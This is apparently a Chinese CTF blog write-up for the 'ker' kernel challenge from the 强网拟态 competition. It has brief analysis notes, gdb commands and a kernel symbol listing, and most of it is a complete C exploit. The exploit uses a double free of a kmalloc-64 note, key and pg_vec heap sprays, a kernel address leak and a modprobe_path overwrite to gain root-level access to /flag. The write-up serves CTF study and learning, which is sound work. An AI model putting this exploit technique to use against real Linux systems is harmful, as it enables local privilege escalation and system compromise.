强网拟态ker


CHECK

run.sh

init

version

存在cg隔离

namespace

逆向分析

add_note

应该是kmalloc-64;

edit_note

动态调试

gdb -ex "target remote localhost:1234" -ex "b *(0xffffffffc020113e)" -ex "c"
ffffffffc0201010 t ker_release  [ker]
ffffffffc0203020 d misc [ker]
ffffffffc02010c0 t ker_ioctl [ker]
ffffffffc0203190 d __UNIQUE_ID___addressable_cleanup_module253 [k]
ffffffffc0203080 d fops [ker]
ffffffffc0201000 t __pfx_ker_release [ker]
ffffffffc02010b0 t __pfx_ker_ioctl [ker]
ffffffffc02050cc r _note_15 [ker]
ffffffffc02050e4 r _note_14 [ker]
ffffffffc02031c0 d __this_module [ker]
ffffffffc0201080 t cleanup_module [ker]
ffffffffc02036c0 b delete_idx [ker]
ffffffffc02036c4 b edit_idx [ker]
ffffffffc0201040 t init_module [ker]
ffffffffc0201030 t __pfx_init_module [ker]
ffffffffc0201040 t kernel_init [ker]
ffffffffc0201070 t __pfx_kernel_exit [ker]
ffffffffc0201070 t __pfx_cleanup_module [ker]
ffffffffc0201080 t kernel_exit [ker]
ffffffffc02036c8 b chunk [ker]
ffffffffc0201030 t __pfx_kernel_init [ker]
ffffffff810fc6e0 T __sys_setresuid

ffffffff81115e60 T commit_creds

ffffffff8308c620 D init_cred

攻击成功

拿下三血:

EXP

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int dev_fd;
void add_note(char *con){
void *args = con;
ioctl(dev_fd, 0x20, &args);
}
void free_note(){
ioctl(dev_fd, 0x30, "AAAAAAAA");
}

#include "key.h"

//============================================= pg_vec ===================================================================
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
perror(s);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}


void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}

//========================================================================================================================

size_t ker_offset;
void edit_note(char *con){
void *args = con;
ioctl(dev_fd, 0x50, &args);
}

void get_flag(){
system("touch ./tmp/error");
int efd = open("./tmp/error", 2);
write(efd, "\xff\xff\xff\xff", 4);
close(efd);
system("chmod +x ./tmp/error");

char *cmd = "#!/bin/sh\nchmod 777 /flag";
system("touch ./tmp/my_shell.sh");
int f = open("./tmp/my_shell.sh", 2);
write(f, cmd, strlen(cmd));
close(f);
system("chmod +x ./tmp/my_shell.sh");

system("./tmp/error");

char flag[0x1000];
int fd3 = open("/flag", 2);
read(fd3, flag, 0x80);
puts(flag);
getchar();
}

int main(){

save_status();
bindCore(0);
unshare_setup();

dev_fd = open("/dev/ker", 0);
printf("dev_fd == %d\n", dev_fd);

add_note("AAAAAAAA");
free_note();

#define TOTAL_KEYS 200
int key_ids[TOTAL_KEYS];
char des[0x100];
char pay[0x100];
memset(des, 0, sizeof(des));
memset(pay, 0, sizeof(pay));
for(int i = 0; i < TOTAL_KEYS; i++){
memset(des, 'A'+i, 0x80);
memset(pay, 'a'+i, 0x40-0x18);
key_ids[i] = key_alloc(des, pay, 0x40-0x18);
//printf("kid == %d\n", key_ids[i]);
}
free_note();

#define TOTAL_PFDS 200
int pfds[TOTAL_PFDS];
for(int i = 0; i < TOTAL_PFDS; i++){
pfds[i] = pagealloc_pad(8, 0x1000);
if(pfds[i] < 0){
perror("pfds");
break;
}
//printf("pfd == %d\n", pfds[i]);
}

int victim_kid = -1;
size_t data[0x10000];
int keylen;
for(int i = 0; i < TOTAL_KEYS; i++){
keylen = key_read(key_ids[i], data, 0x40-0x18);
if(keylen > 0x28){
victim_kid = i;
break;
}
}
printf("victim_kid == %d\n", victim_kid);

for(int i = 0; i < TOTAL_KEYS; i++){
if(i == victim_kid) continue;
key_revoke(key_ids[i]);
}

//leak goal 0xffffffff81d5d250
size_t leak = 0LL;
key_read(key_ids[victim_kid], data, keylen);
for(int i = 0; i < 0x1000; i++){
//printf("leak : %p\n", (void *)data[i]);
if(data[i] >= 0xffffffff00000000){
if((data[i] & 0xffff) == 0xd250){
leak = data[i];
ker_offset = leak - 0xffffffff81d5d250;
break;
}
if((data[i] & 0xffff) == 0x6070){
leak = data[i];
ker_offset = leak - 0xffffffff81e26070;
break;
}
if((data[i] & 0xffff) == 0x8850){
leak = data[i];
ker_offset = leak - 0xffffffff81608850;
break;
}
if((data[i] & 0xffff) == 0xca40){
leak = data[i];
ker_offset = leak - 0xffffffff8236ca40;
break;
}
}
}
printf("leak == %p\n", (void *)leak);


printf("ker_offset == %p\n", (void *)ker_offset);
size_t func_addr = ker_offset + 0xffffffff810fc6e0;
size_t modprobe = ker_offset + 0xffffffff831d8ce0;
printf("goal : %p\n", (void *)func_addr);

//size_t goal_page = func_addr - (func_addr & 0xfff);
size_t goal_page = modprobe - (modprobe & 0xfff);
edit_note(&goal_page);

char *pages[TOTAL_PFDS];
for(int i = 0; i < TOTAL_PFDS; i++){
pages[i] = mmap(NULL, 0x1000*8, PROT_READ|PROT_WRITE, MAP_SHARED, pfds[i], 0);
if (pages[i] == MAP_FAILED) {
printf("fail mmap id : %d, file descriptor == %d\n", i, pfds[i]);
perror("mmap");
break;
}

}
puts("mmap done");
getchar();


char file[] = "./tmp/my_shell.sh";
for(int i = 0; i < TOTAL_PFDS; i++){
printf("page == %p\n", pages[i]);
memcpy(pages[i]+(modprobe&0xfff), file, strlen(file));
}
puts("write done");
getchar();

get_flag();

while(1) ;
}



文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录